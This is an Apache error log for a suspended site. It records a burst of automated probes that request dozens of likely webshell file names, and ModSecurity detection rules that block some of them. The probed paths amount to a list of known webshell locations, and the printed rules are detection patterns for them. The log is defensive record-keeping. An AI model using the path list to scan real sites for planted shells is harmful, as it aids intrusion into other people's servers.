[Sat Mar 14 13:19:40.906309 2026] [autoindex:error] [pid 54132:tid 54142] [client 194.61.40.44:24361] AH01276: Cannot serve directory /usr/local/apache/autossl_tmp/.well-known/acme-challenge/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Sat Mar 14 14:54:40.964723 2026] [:error] [pid 61382:tid 61388] [client 104.194.152.134:64154] File does not exist: /usr/local/apache/htdocs/suspended-page/unzipper.php
[Sat Mar 14 15:53:14.315319 2026] [:error] [pid 61382:tid 61396] [client 194.180.48.253:33900] [client 194.180.48.253] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "windfarmcoolants.com.au"] [uri "/.git/config"] [unique_id "abUT6v5UUtpNLvwsJ7jfYwAAAAo"]
[Sat Mar 14 16:49:21.692882 2026] [:error] [pid 61384:tid 61445] [client 173.239.224.104:20033] [client 173.239.224.104] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 173.239.224.104, incrementing brute counter"] [hostname "windfarmcoolants.com.au"] [uri "/wp-login.php"] [unique_id "abUhEfzibL2IYJprDHKdyAAAAcI"]
[Sat Mar 14 16:49:21.699716 2026] [:error] [pid 61384:tid 61445] [client 173.239.224.104:20033] File does not exist: /usr/local/apache/htdocs/suspended-page/wp-login.php
[Sun Mar 15 03:56:49.216326 2026] [:error] [pid 30509:tid 30589] [client 212.30.36.159:56947] File does not exist: /usr/local/apache/htdocs/suspended-page/bless.php
[Sun Mar 15 03:56:49.522741 2026] [:error] [pid 30509:tid 30584] [client 212.30.36.159:56947] File does not exist: /usr/local/apache/htdocs/suspended-page/lock.php
[Sun Mar 15 03:56:49.832719 2026] [:error] [pid 30509:tid 30597] [client 212.30.36.159:56947] [client 212.30.36.159] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/(?:tinyfilemanager(?:\\\\.php)?|filemanager\\\\.php|fm\\\\.php|tiny\\\\.php|wp-content/plugins/pwnd/pwnd\\\\.php|wp-includes/(?:block-supports/autoload_classmap\\\\.php|Text/Diff/Engine/wp\\\\.php|blocks/details/about\\\\.php))$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "29"] [id "771002"] [msg "Blocked probe for known bad path/file manager/webshell"] [tag "probes"] [tag "wordpress"] [hostname "windfarmcoolants.com.au"] [uri "/tiny.php"] [unique_id "abW9gaDOtSZYYHQXlLwv1QAAAJE"]
[Sun Mar 15 03:56:50.439147 2026] [:error] [pid 30606:tid 30614] [client 212.30.36.151:57549] File does not exist: /usr/local/apache/htdocs/suspended-page/themes.php
[Sun Mar 15 03:56:50.750003 2026] [:error] [pid 30606:tid 30609] [client 212.30.36.151:57549] File does not exist: /usr/local/apache/htdocs/suspended-page/wp-good.php
[Sun Mar 15 03:56:51.062629 2026] [:error] [pid 30606:tid 30628] [client 212.30.36.151:57549] File does not exist: /usr/local/apache/htdocs/suspended-page/ioxi-o.php
[Sun Mar 15 03:56:51.365514 2026] [:error] [pid 30606:tid 30626] [client 212.30.36.151:57549] File does not exist: /usr/local/apache/htdocs/suspended-page/wp.php
[Sun Mar 15 03:56:51.718456 2026] [:error] [pid 30606:tid 30611] [client 212.30.36.151:57549] File does not exist: /usr/local/apache/htdocs/suspended-page/about.php
[Sun Mar 15 03:56:52.003486 2026] [:error] [pid 30606:tid 30622] [client 212.30.36.151:57549] File does not exist: /usr/local/apache/htdocs/suspended-page/adminfuns.php
[Sun Mar 15 03:56:52.322693 2026] [:error] [pid 30606:tid 30631] [client 212.30.36.151:57549] File does not exist: /usr/local/apache/htdocs/suspended-page/file.php
[Sun Mar 15 03:56:52.669631 2026] [:error] [pid 30606:tid 30627] [client 212.30.36.151:57549] File does not exist: /usr/local/apache/htdocs/suspended-page/item.php
[Sun Mar 15 03:56:52.997107 2026] [:error] [pid 30606:tid 30612] [client 212.30.36.151:57549] File does not exist: /usr/local/apache/htdocs/suspended-page/class.api.php
[Sun Mar 15 03:56:53.275550 2026] [:error] [pid 30606:tid 30622] [client 212.30.36.151:57549] File does not exist: /usr/local/apache/htdocs/suspended-page/O-Simple.php
[Sun Mar 15 03:56:53.585653 2026] [:error] [pid 30606:tid 30616] [client 212.30.36.151:57549] File does not exist: /usr/local/apache/htdocs/suspended-page/info.php
[Sun Mar 15 03:56:54.149546 2026] [:error] [pid 30606:tid 30625] [client 212.30.36.151:57549] File does not exist: /usr/local/apache/htdocs/suspended-page/atomlib.php
[Sun Mar 15 03:56:54.475163 2026] [:error] [pid 30606:tid 30632] [client 212.30.36.151:57549] File does not exist: /usr/local/apache/htdocs/suspended-page/ahax.php
[Sun Mar 15 03:56:54.790943 2026] [:error] [pid 30606:tid 30617] [client 212.30.36.151:57549] File does not exist: /usr/local/apache/htdocs/suspended-page/inputs.php
[Sun Mar 15 03:56:55.086944 2026] [:error] [pid 30606:tid 30628] [client 212.30.36.151:57549] File does not exist: /usr/local/apache/htdocs/suspended-page/wp-api.php
[Sun Mar 15 03:56:55.375399 2026] [:error] [pid 30606:tid 30624] [client 212.30.36.151:57549] File does not exist: /usr/local/apache/htdocs/suspended-page/bolt.php
[Sun Mar 15 03:56:55.726983 2026] [:error] [pid 30606:tid 30623] [client 212.30.36.151:57549] File does not exist: /usr/local/apache/htdocs/suspended-page/wp-trackback.php
[Sun Mar 15 03:56:56.025071 2026] [:error] [pid 30606:tid 30616] [client 212.30.36.151:57549] File does not exist: /usr/local/apache/htdocs/suspended-page/simple.php
[Sun Mar 15 03:56:56.331422 2026] [:error] [pid 30606:tid 30627] [client 212.30.36.151:57549] File does not exist: /usr/local/apache/htdocs/suspended-page/warm.PhP
[Sun Mar 15 03:56:56.676485 2026] [:error] [pid 30606:tid 30633] [client 212.30.36.151:57549] File does not exist: /usr/local/apache/htdocs/suspended-page/wsa.php
[Sun Mar 15 03:56:56.962441 2026] [:error] [pid 30606:tid 30609] [client 212.30.36.151:57549] File does not exist: /usr/local/apache/htdocs/suspended-page/worm.PhP
[Sun Mar 15 03:56:57.263404 2026] [:error] [pid 30606:tid 30610] [client 212.30.36.151:57549] File does not exist: /usr/local/apache/htdocs/suspended-page/dir.php
[Sun Mar 15 03:56:57.597035 2026] [:error] [pid 30606:tid 30617] [client 212.30.36.151:57549] File does not exist: /usr/local/apache/htdocs/suspended-page/license.php
[Sun Mar 15 03:56:57.922492 2026] [:error] [pid 30606:tid 30609] [client 212.30.36.151:57549] File does not exist: /usr/local/apache/htdocs/suspended-page/wp-editor.php
[Sun Mar 15 03:56:58.220914 2026] [:error] [pid 30606:tid 30610] [client 212.30.36.151:57549] File does not exist: /usr/local/apache/htdocs/suspended-page/goods.php
[Sun Mar 15 03:56:58.511732 2026] [:error] [pid 30606:tid 30612] [client 212.30.36.151:57549] File does not exist: /usr/local/apache/htdocs/suspended-page/Marvins.php
[Sun Mar 15 03:56:58.825596 2026] [:error] [pid 30606:tid 30625] [client 212.30.36.151:57549] File does not exist: /usr/local/apache/htdocs/suspended-page/lv.php
[Sun Mar 15 03:56:59.119524 2026] [:error] [pid 30606:tid 30623] [client 212.30.36.151:57549] File does not exist: /usr/local/apache/htdocs/suspended-page/autoload_classmap.php
[Sun Mar 15 03:56:59.415656 2026] [:error] [pid 30606:tid 30614] [client 212.30.36.151:57549] File does not exist: /usr/local/apache/htdocs/suspended-page/classwithtostring.php
[Sun Mar 15 03:56:59.712876 2026] [:error] [pid 30606:tid 30612] [client 212.30.36.151:57549] File does not exist: /usr/local/apache/htdocs/suspended-page/doc.php
[Sun Mar 15 03:57:00.054065 2026] [:error] [pid 30606:tid 30630] [client 212.30.36.151:57549] File does not exist: /usr/local/apache/htdocs/suspended-page/core.php
[Sun Mar 15 03:57:00.351345 2026] [:error] [pid 30606:tid 30614] [client 212.30.36.151:57549] File does not exist: /usr/local/apache/htdocs/suspended-page/wp-content.php
[Sun Mar 15 03:57:00.716949 2026] [:error] [pid 30606:tid 30612] [client 212.30.36.151:57549] File does not exist: /usr/local/apache/htdocs/suspended-page/gifclass.php
[Sun Mar 15 03:57:00.992341 2026] [:error] [pid 30606:tid 30633] [client 212.30.36.151:57549] [client 212.30.36.151] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/(?:tinyfilemanager(?:\\\\.php)?|filemanager\\\\.php|fm\\\\.php|tiny\\\\.php|wp-content/plugins/pwnd/pwnd\\\\.php|wp-includes/(?:block-supports/autoload_classmap\\\\.php|Text/Diff/Engine/wp\\\\.php|blocks/details/about\\\\.php))$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "29"] [id "771002"] [msg "Blocked probe for known bad path/file manager/webshell"] [tag "probes"] [tag "wordpress"] [hostname "windfarmcoolants.com.au"] [uri "/tinyfilemanager.php"] [unique_id "abW9jJL8iO1J-XSfSz3UIAAAANg"]
[Sun Mar 15 03:57:01.573593 2026] [:error] [pid 30606:tid 30612] [client 212.30.36.153:36911] File does not exist: /usr/local/apache/htdocs/suspended-page/mar.php
[Sun Mar 15 03:57:02.127222 2026] [:error] [pid 30606:tid 30609] [client 212.30.36.153:36911] File does not exist: /usr/local/apache/htdocs/suspended-page/cc.php
[Sun Mar 15 03:57:02.408087 2026] [:error] [pid 30606:tid 30614] [client 212.30.36.153:36911] File does not exist: /usr/local/apache/htdocs/suspended-page/.alf.php
[Sun Mar 15 03:57:02.712685 2026] [:error] [pid 30606:tid 30620] [client 212.30.36.153:36911] File does not exist: /usr/local/apache/htdocs/suspended-page/hehe.php
[Sun Mar 15 03:57:03.034540 2026] [:error] [pid 30606:tid 30625] [client 212.30.36.153:36911] File does not exist: /usr/local/apache/htdocs/suspended-page/elp.php
[Sun Mar 15 03:57:03.324693 2026] [:error] [pid 30606:tid 30611] [client 212.30.36.153:36911] File does not exist: /usr/local/apache/htdocs/suspended-page/alfa.php
[Sun Mar 15 03:57:03.653364 2026] [:error] [pid 30606:tid 30632] [client 212.30.36.153:36911] File does not exist: /usr/local/apache/htdocs/suspended-page/ws.php
[Sun Mar 15 03:57:03.939885 2026] [:error] [pid 30606:tid 30620] [client 212.30.36.153:36911] File does not exist: /usr/local/apache/htdocs/suspended-page/wp-blog.php
[Sun Mar 15 03:57:04.250084 2026] [:error] [pid 30606:tid 30630] [client 212.30.36.153:36911] File does not exist: /usr/local/apache/htdocs/suspended-page/default.php
[Sun Mar 15 03:57:04.558818 2026] [:error] [pid 30606:tid 30622] [client 212.30.36.153:36911] File does not exist: /usr/local/apache/htdocs/suspended-page/hehehehe.php
[Sun Mar 15 03:57:05.255701 2026] [:error] [pid 30606:tid 30622] [client 212.30.36.153:36911] File does not exist: /usr/local/apache/htdocs/suspended-page/admin.php
[Sun Mar 15 03:57:05.543107 2026] [:error] [pid 30606:tid 30614] [client 212.30.36.153:36911] File does not exist: /usr/local/apache/htdocs/suspended-page/click.php
[Sun Mar 15 03:57:05.890736 2026] [:error] [pid 30606:tid 30610] [client 212.30.36.153:36911] File does not exist: /usr/local/apache/htdocs/suspended-page/wp-links.php
[Sun Mar 15 03:57:06.237643 2026] [:error] [pid 30606:tid 30609] [client 212.30.36.153:36911] File does not exist: /usr/local/apache/htdocs/suspended-page/wp-head.php
[Sun Mar 15 03:57:06.513797 2026] [:error] [pid 30606:tid 30622] [client 212.30.36.153:36911] File does not exist: /usr/local/apache/htdocs/suspended-page/av.php
[Sun Mar 15 03:57:06.874435 2026] [:error] [pid 30606:tid 30623] [client 212.30.36.153:36911] File does not exist: /usr/local/apache/htdocs/suspended-page/exit.php
[Sun Mar 15 03:57:07.163025 2026] [:error] [pid 30606:tid 30630] [client 212.30.36.153:36911] File does not exist: /usr/local/apache/htdocs/suspended-page/manager.php
[Sun Mar 15 03:57:07.473188 2026] [:error] [pid 30606:tid 30611] [client 212.30.36.153:36911] File does not exist: /usr/local/apache/htdocs/suspended-page/x.php
[Sun Mar 15 03:57:07.782212 2026] [:error] [pid 30606:tid 30616] [client 212.30.36.153:36911] File does not exist: /usr/local/apache/htdocs/suspended-page/litespeed.php
[Sun Mar 15 03:57:09.385093 2026] [:error] [pid 30606:tid 30616] [client 212.30.36.153:36911] File does not exist: /usr/local/apache/htdocs/suspended-page/mini.php
[Sun Mar 15 03:57:09.686044 2026] [:error] [pid 30606:tid 30628] [client 212.30.36.153:36911] File does not exist: /usr/local/apache/htdocs/suspended-page/edit-tags.php
[Sun Mar 15 03:57:10.308169 2026] [:error] [pid 30606:tid 30626] [client 212.30.36.153:36911] File does not exist: /usr/local/apache/htdocs/suspended-page/wp-header.php
[Sun Mar 15 03:57:10.602397 2026] [:error] [pid 30606:tid 30622] [client 212.30.36.153:36911] File does not exist: /usr/local/apache/htdocs/suspended-page/moon.php
[Sun Mar 15 03:57:10.914807 2026] [:error] [pid 30606:tid 30624] [client 212.30.36.153:36911] File does not exist: /usr/local/apache/htdocs/suspended-page/aa.php
[Sun Mar 15 03:57:11.206252 2026] [:error] [pid 30606:tid 30623] [client 212.30.36.153:36911] File does not exist: /usr/local/apache/htdocs/suspended-page/css.php
[Sun Mar 15 03:57:11.505502 2026] [:error] [pid 30606:tid 30628] [client 212.30.36.153:36911] File does not exist: /usr/local/apache/htdocs/suspended-page/new.php
[Sun Mar 15 03:57:11.816858 2026] [:error] [pid 30606:tid 30626] [client 212.30.36.153:36911] File does not exist: /usr/local/apache/htdocs/suspended-page/options-reading.php
[Sun Mar 15 03:57:12.082317 2026] [:error] [pid 30606:tid 30619] [client 212.30.36.153:36911] File does not exist: /usr/local/apache/htdocs/suspended-page/filefuns.php
[Sun Mar 15 03:57:12.698021 2026] [:error] [pid 30606:tid 30621] [client 212.30.36.153:36911] File does not exist: /usr/local/apache/htdocs/suspended-page/ini.php
[Sun Mar 15 03:57:13.299447 2026] [:error] [pid 30606:tid 30632] [client 212.30.36.153:36911] File does not exist: /usr/local/apache/htdocs/suspended-page/l.php
[Sun Mar 15 03:57:13.613929 2026] [:error] [pid 30606:tid 30616] [client 212.30.36.153:36911] File does not exist: /usr/local/apache/htdocs/suspended-page/XxX.php
[Sun Mar 15 03:57:13.933001 2026] [:error] [pid 30606:tid 30617] [client 212.30.36.153:36911] File does not exist: /usr/local/apache/htdocs/suspended-page/Sanskrit.php
[Sun Mar 15 03:57:14.237592 2026] [:error] [pid 30606:tid 30622] [client 212.30.36.153:36911] File does not exist: /usr/local/apache/htdocs/suspended-page/ms-themes.php
[Sun Mar 15 03:57:14.541940 2026] [:error] [pid 30606:tid 30632] [client 212.30.36.153:36911] File does not exist: /usr/local/apache/htdocs/suspended-page/gm.php
[Sun Mar 15 03:57:14.870778 2026] [:error] [pid 30606:tid 30614] [client 212.30.36.153:36911] File does not exist: /usr/local/apache/htdocs/suspended-page/mariju.php
[Sun Mar 15 03:57:15.175921 2026] [:error] [pid 30606:tid 30609] [client 212.30.36.153:36911] File does not exist: /usr/local/apache/htdocs/suspended-page/NewFile.php
[Sun Mar 15 03:57:15.481068 2026] [:error] [pid 30606:tid 30623] [client 212.30.36.153:36911] File does not exist: /usr/local/apache/htdocs/suspended-page/dropdown.php
[Sun Mar 15 03:57:15.803061 2026] [:error] [pid 30606:tid 30616] [client 212.30.36.153:36911] File does not exist: /usr/local/apache/htdocs/suspended-page/chosen.php
[Sun Mar 15 03:57:16.073252 2026] [:error] [pid 30606:tid 30632] [client 212.30.36.153:36911] [client 212.30.36.153] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/(?:tinyfilemanager(?:\\\\.php)?|filemanager\\\\.php|fm\\\\.php|tiny\\\\.php|wp-content/plugins/pwnd/pwnd\\\\.php|wp-includes/(?:block-supports/autoload_classmap\\\\.php|Text/Diff/Engine/wp\\\\.php|blocks/details/about\\\\.php))$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "29"] [id "771002"] [msg "Blocked probe for known bad path/file manager/webshell"] [tag "probes"] [tag "wordpress"] [hostname "windfarmcoolants.com.au"] [uri "/fm.php"] [unique_id "abW9nJL8iO1J-XSfSz3UzgAAANc"]
[Sun Mar 15 03:57:16.625815 2026] [:error] [pid 30496:tid 30538] [client 212.30.36.119:59837] File does not exist: /usr/local/apache/htdocs/suspended-page/jp.php
[Sun Mar 15 03:57:16.909491 2026] [:error] [pid 30496:tid 30549] [client 212.30.36.119:59837] File does not exist: /usr/local/apache/htdocs/suspended-page/radio.php
[Sun Mar 15 03:57:17.196087 2026] [:error] [pid 30496:tid 30529] [client 212.30.36.119:59837] File does not exist: /usr/local/apache/htdocs/suspended-page/web.php
[Sun Mar 15 03:57:17.520746 2026] [:error] [pid 30496:tid 30533] [client 212.30.36.119:59837] File does not exist: /usr/local/apache/htdocs/suspended-page/edit.php
[Sun Mar 15 03:57:17.834708 2026] [:error] [pid 30496:tid 30546] [client 212.30.36.119:59837] File does not exist: /usr/local/apache/htdocs/suspended-page/buy.php
[Sun Mar 15 03:57:18.121175 2026] [:error] [pid 30496:tid 30543] [client 212.30.36.119:59837] File does not exist: /usr/local/apache/htdocs/suspended-page/adminfusm.php
[Sun Mar 15 03:57:18.407881 2026] [:error] [pid 30496:tid 30539] [client 212.30.36.119:59837] File does not exist: /usr/local/apache/htdocs/suspended-page/wp-admin.php
[Sun Mar 15 03:57:18.689387 2026] [:error] [pid 30496:tid 30550] [client 212.30.36.119:59837] File does not exist: /usr/local/apache/htdocs/suspended-page/wp-atom.php
[Sun Mar 15 03:57:19.287823 2026] [:error] [pid 30496:tid 30540] [client 212.30.36.119:59837] File does not exist: /usr/local/apache/htdocs/suspended-page/delpaths.php
[Sun Mar 15 03:57:19.905993 2026] [:error] [pid 30496:tid 30533] [client 212.30.36.119:59837] File does not exist: /usr/local/apache/htdocs/suspended-page/byp.php
[Sun Mar 15 03:57:20.181912 2026] [:error] [pid 30496:tid 30544] [client 212.30.36.119:59837] File does not exist: /usr/local/apache/htdocs/suspended-page/makeasmtp.php
[Sun Mar 15 03:57:20.459167 2026] [:error] [pid 30496:tid 30543] [client 212.30.36.119:59837] File does not exist: /usr/local/apache/htdocs/suspended-page/memberfuns.php
[Sun Mar 15 03:57:20.732921 2026] [:error] [pid 30496:tid 30534] [client 212.30.36.119:59837] File does not exist: /usr/local/apache/htdocs/suspended-page/mah.php
[Sun Mar 15 03:57:21.053647 2026] [:error] [pid 30496:tid 30545] [client 212.30.36.119:59837] File does not exist: /usr/local/apache/htdocs/suspended-page/bs1.php
[Sun Mar 15 03:57:21.332992 2026] [:error] [pid 30496:tid 30535] [client 212.30.36.119:59837] File does not exist: /usr/local/apache/htdocs/suspended-page/zwso.php
[Sun Mar 15 03:57:21.626060 2026] [:error] [pid 30496:tid 30542] [client 212.30.36.119:59837] File does not exist: /usr/local/apache/htdocs/suspended-page/xp.php
[Sun Mar 15 03:57:22.081384 2026] [:error] [pid 30496:tid 30537] [client 212.30.36.119:59837] File does not exist: /usr/local/apache/htdocs/suspended-page/wp-themes.php
[Sun Mar 15 03:57:22.668629 2026] [:error] [pid 30496:tid 30549] [client 212.30.36.119:59837] [client 212.30.36.119] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/random_compat/chosen.php"] [unique_id "abW9oq4QOwe6Md2U2lCX8QAAABc"]
[Sun Mar 15 03:57:24.283936 2026] [:error] [pid 30606:tid 30615] [client 212.30.36.159:51657] [client 212.30.36.159] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/js/jquery/jquery.php"] [unique_id "abW9pJL8iO1J-XSfSz3VMgAAAMY"]
[Sun Mar 15 03:57:26.647438 2026] [:error] [pid 30606:tid 30627] [client 212.30.36.148:32541] [client 212.30.36.148] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/(?:tinyfilemanager(?:\\\\.php)?|filemanager\\\\.php|fm\\\\.php|tiny\\\\.php|wp-content/plugins/pwnd/pwnd\\\\.php|wp-includes/(?:block-supports/autoload_classmap\\\\.php|Text/Diff/Engine/wp\\\\.php|blocks/details/about\\\\.php))$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "29"] [id "771002"] [msg "Blocked probe for known bad path/file manager/webshell"] [tag "probes"] [tag "wordpress"] [hostname "windfarmcoolants.com.au"] [uri "/wp-content/plugins/pwnd/pwnd.php"] [unique_id "abW9ppL8iO1J-XSfSz3VWAAAANI"]
[Sun Mar 15 03:57:29.520260 2026] [:error] [pid 30496:tid 30542] [client 212.30.36.130:38337] [client 212.30.36.130] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/sitemaps/chosen.php"] [unique_id "abW9qa4QOwe6Md2U2lCYDwAAABA"]
[Sun Mar 15 03:57:30.875491 2026] [:error] [pid 30496:tid 30534] [client 212.30.36.168:30083] [client 212.30.36.168] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/PHPMailer/wp-conflg.php"] [unique_id "abW9qq4QOwe6Md2U2lCYGQAAAAg"]
[Sun Mar 15 03:57:33.172629 2026] [:error] [pid 30606:tid 30629] [client 212.30.36.130:50139] [client 212.30.36.130] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/customize/dedi1.php"] [unique_id "abW9rZL8iO1J-XSfSz3VrAAAANQ"]
[Sun Mar 15 03:57:34.384764 2026] [:error] [pid 30606:tid 30627] [client 212.30.36.155:24333] File does not exist: /usr/local/apache/autossl_tmp/.well-known/acme-challenge/gecko-old.php
[Sun Mar 15 03:57:34.656618 2026] [:error] [pid 30606:tid 30622] [client 212.30.36.155:24333] [client 212.30.36.155] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/css/chosen.php"] [unique_id "abW9rpL8iO1J-XSfSz3VyAAAAM0"]
[Sun Mar 15 03:57:35.517191 2026] [:error] [pid 30509:tid 30593] [client 212.30.36.114:40091] [client 212.30.36.114] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/sitemaps/autoload_classmap.php"] [unique_id "abW9r6DOtSZYYHQXlLwxvQAAAI0"]
[Sun Mar 15 03:57:36.720503 2026] [:error] [pid 30606:tid 30618] [client 212.30.36.115:45987] [client 212.30.36.115] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/fonts/autoload_classmap.php"] [unique_id "abW9sJL8iO1J-XSfSz3V4QAAAMk"]
[Sun Mar 15 03:57:37.830854 2026] [:error] [pid 30509:tid 30592] [client 212.30.36.143:30929] [client 212.30.36.143] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/style-engine/worksec.php"] [unique_id "abW9saDOtSZYYHQXlLwx0gAAAIw"]
[Sun Mar 15 03:57:39.571158 2026] [:error] [pid 30509:tid 30589] [client 212.30.36.117:46941] [client 212.30.36.117] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/style-engine/dedi1.php"] [unique_id "abW9s6DOtSZYYHQXlLwx5wAAAIk"]
[Sun Mar 15 03:57:40.412109 2026] [:error] [pid 30509:tid 30582] [client 212.30.36.117:32955] [client 212.30.36.117] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/block-bindings/about.php"] [unique_id "abW9tKDOtSZYYHQXlLwx8QAAAII"]
[Sun Mar 15 03:57:41.572576 2026] [:error] [pid 30508:tid 30562] [client 212.30.36.114:38991] [client 212.30.36.114] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/Text/Diff/Renderer/index.php"] [unique_id "abW9tabBTYOXN2Gho1E5CgAAAEk"]
[Sun Mar 15 03:57:42.091193 2026] [:error] [pid 30496:tid 30550] [client 212.30.36.155:62871] [client 212.30.36.155] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/html-api/chosen.php"] [unique_id "abW9tq4QOwe6Md2U2lCYQQAAABg"]
[Sun Mar 15 03:57:42.612281 2026] [:error] [pid 30508:tid 30558] [client 212.30.36.168:61493] [client 212.30.36.168] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/PHPMailer/about.php"] [unique_id "abW9tqbBTYOXN2Gho1E5GAAAAEU"]
[Sun Mar 15 03:57:43.817206 2026] [:error] [pid 30606:tid 30629] [client 212.30.36.169:58483] [client 212.30.36.169] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/rest-api/about.php"] [unique_id "abW9t5L8iO1J-XSfSz3WRAAAANQ"]
